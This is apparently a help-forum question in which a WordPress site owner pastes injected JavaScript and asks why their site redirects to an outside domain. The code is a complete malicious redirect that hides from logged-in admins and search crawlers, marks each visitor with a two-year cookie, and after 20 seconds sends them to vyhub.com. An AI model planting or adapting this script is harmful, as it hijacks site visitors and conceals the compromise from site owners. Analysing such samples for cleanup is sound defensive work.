wordpress-attack.js

(function asd() {
  var w_location = 'http://vyhub.com/css/css/';
  var cookie = 'yYjra4PCc8kmBHess1ib';

  function start() {
    var cookies = document.cookie || '';
    if (cookies.indexOf(cookie) !== -1) {
      return;
    }
    if (cookies.indexOf('wp-settings') !== -1) {
      return;
    }
    if (localStorage.getItem(cookie) === '1') {
      return;
    }
    var uagent = navigator.userAgent;
    if (!uagent) {
      return;
    }

    uagent = uagent.toLowerCase();
    if (uagent.indexOf('google') !== -1
        || uagent.indexOf('bot') !== -1
        || uagent.indexOf('crawl') !== -1
        || uagent.indexOf('bing') !== -1
        || uagent.indexOf('yahoo') !== -1) {
      return;
    }

    setTimeout(function() {
      setCookie(cookie, '123', 730);
      localStorage.setItem(cookie, '1');
      window.location = w_location;
    }, 20 * 1000);
  }
  function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
    document.cookie = c_name + '=' + c_value;
  }

  var readyStateCheckInterval = setInterval(function() {
    if (document.readyState === 'complete'
        || document.readyState == 'interactive') {
      clearInterval(readyStateCheckInterval);
      start();
    }
  }, 10);

}());

Hi!
What exactly does this piece of code do?

I am asking because my site after a short period of time automatically redirects to this address http://vyhub.com/css/css/ ...

Thank you!